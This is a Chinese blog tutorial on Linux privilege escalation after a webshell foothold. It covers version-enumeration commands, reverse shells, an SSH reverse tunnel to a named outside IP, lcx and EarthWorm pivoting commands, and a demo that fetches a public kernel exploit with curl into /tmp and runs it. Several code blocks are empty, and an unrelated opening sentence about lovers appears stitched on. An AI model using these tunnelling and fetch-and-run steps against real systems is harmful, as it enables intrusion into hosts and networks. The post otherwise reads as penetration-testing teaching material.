
站了三天三夜的小情侣,大圣路过就动了凡心,还做了一场刻骨铭心的春秋大梦。有点不好的是让第三者成功俘获了夕阳武士
0x00 简介
当攻击者拿到webshell之后,他会为了完全管理控制整个主机系统而去提升自己通过webshell得到的权限。
提权有两类。
1.水平权限提升
攻击者在具有相似权限的账户中平级‘移动’,比如攻击者获得在线银行的账户访问权限,目的是取得更多的金钱(万恶的money),那么攻击者会尝试各种漏洞来取得其他账户的权限。
2.垂直权限提升
攻击者的动机通常是完全控制计算机系统,目的就很多了。当攻击者从被攻击获得的用户账户权限到用户权限扩大或者提升到完全管理权限时,就是垂直权限提升。
主机分为windows和linux,由于操作系统不同,所以方法也不尽相同,就分为两大类:windows提权和linux提权
windows提权又分为系统漏洞提权和第三方服务提权。
linux提权有操作系统漏洞提权和第三方服务提权
0x01 操作系统漏洞提权
流程
- 获取操作系统版本号
- 搜索exp(根据操作系统版本号)
- 反弹shell
- 尝试提权
内核是系统核,发行版是每个社团增加了外围资源(比如用户界面,系统安装,程序更新),所以各发行版的内核可以一致,但发行版采取的各种用户应用方式可能不同。
获取发行版本
- cat /etc/issue
- cat /etc/*-release
- cat /etc/lsb-release
- cat /etc/redhat-release
获取内核版本
- cat /proc/version
- uname -a
- uname -mrs
- rpm -q kernel
- dmesg | grep Linux
- ls /boot |grep vmlinuz
反弹shell
上述工作完成后
下一步就是反弹一个交互性的shell,需要有一个外网的服务器。
反弹shell有以下几步
外网主机运行
输入命令后即可创建成功。
0x02 第三方服务提权
条件:
在第三方服务器有root权限的情况下,可udf提权,具体流程参考windows udf提权。第三方服务器一般都不会有root权限,情况比较少见。
|
|
可以通过找root执行的服务,再找第三方软件服务来找是否可以利用。
0x03 反向连接与端口转发
反弹的shell 有很多不方便,比如vim的部分功能,所以使用ssh连接更好。
反向连接
什么是反向连接
反向连接是指主机A(受控端)主动连接主机B(控制端),在主机A和主机B之间建立一个远程连接,通过这个连
接主机B可以主动的向主机A发送一些请求。
为什么需要主机A主动去连接主机B呢?
这是因为主机A在局域网内,如果没有对主机A进行端口映射,对于主机B来说主机A是不可见的,如果在主机B这
边向主机A发送连接请求,这个请求是不可达的。而主机B有自己独立的IP,对于主机A来说是可见的,可以直接向
主机B请求连接。
连接流程
- 主机A ssh客户端向主机B sshd服务端发送请求,建立远程连接。
- 主机B sshd服务端创建本地连接很远程连接的映射(反向连接通道)。
- 主机B ssh客户端向主机B sshd服务端的连接通道发送请求, 建立主机B ssh和主机A sshd的连接。
SSH反向连接的使用
要建立反向连接,首先在主机A上运行:
ssh -f -N -R 8080:localhost:22 root@115.159.126.186
10000是主机B上的本地连接端口, 22是主机B上远程连接的那个端口, user@Bip是主机B的地址
连接上后,会需要输入密码。连接成功后,SSH反向连接就建立起来了。要连接到主机A,在主机B上运行:
|
|
使用的过程中碰到一个问题, 就是在主机A上发起请求的时候, 需要输入密码。
这时候用ssh public key的方法来解决
ssh socks5代理
|
|
-N 不登录只代理
端口转发
有时被叫做隧道,是安全壳(SSH) 为网络安全通信使用的一种方法。端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为,其使一个外部用户从外部经过一个被激活的NAT路由器到达一个在私有内部IP地址(局域网内部)上的一个端口。
条件
web服务器在内网中,windows远程桌面的3389端口和linux ssh 的22端口无法连接。
web服务器通常情况下可能所处的情况
1.内网IP80端口通过端口映射到外网IP80端口
2.内网的web服务通过外网IP反向代理
判断
如何判断web服务器是内网映射还是反向代理呢?
1.ping 域名
2.通过webshell执行ipconfig或者ifconfig
如何端口转发
端口转发有很多工具
lcx (windows)
lcx –lister 51 3389
表示在本机上监听51端口,该端口主要是接受被控制计算机3389端口转发过来的数据
lcx –slave 218.69.. 51 192.168.80.129 3389
表示将本机IP地址为192.168.80.129的3389端口转发到远程地址为“218.69..”的51端口。
cmd mstsc 218.69..:3388
htran ()
EarthWorm
在自己外网主机执行./ew -s rcsocks -l 1080 -e 8888
内网主机执行
``` ./ew -s rssocks -d 外网ip -e 8888
外网会开启一个1080 socks5 代理端口
netsh (windows自带)
reGeorgSocksProxy.py
meterpreter porfwd ()
0x04 演示
本地搭建环境测试
获取发行版本

反弹shell

查看权限是低权限

在www.exploit-db.com 搜索exp,

找到centos7版本的,点开看看,发现是国人写的2333~

直接curl 下载地址

ls 查看发现没下载,说明权限不够,

cd 到权限777的tmp目录
然后再curl下载地址
查看说明并执行
成功

查看权限 并用python创建交互性的bash

反弹shell的bash太不好用,不能撤销不能使用方向键不能删除。
尝试ssh连接,免密码登录
在自己的主机生成公钥私钥,公钥放到目标主机
由于是外网连接内网所以连接会超时
尝试端口转发
题外话:如果你对本站文章字体有任何不适,请告知我,我会回复你,字体请让浏览器调到对眼睛舒适的大小;默认不允许转载,除非转载注明出处。
end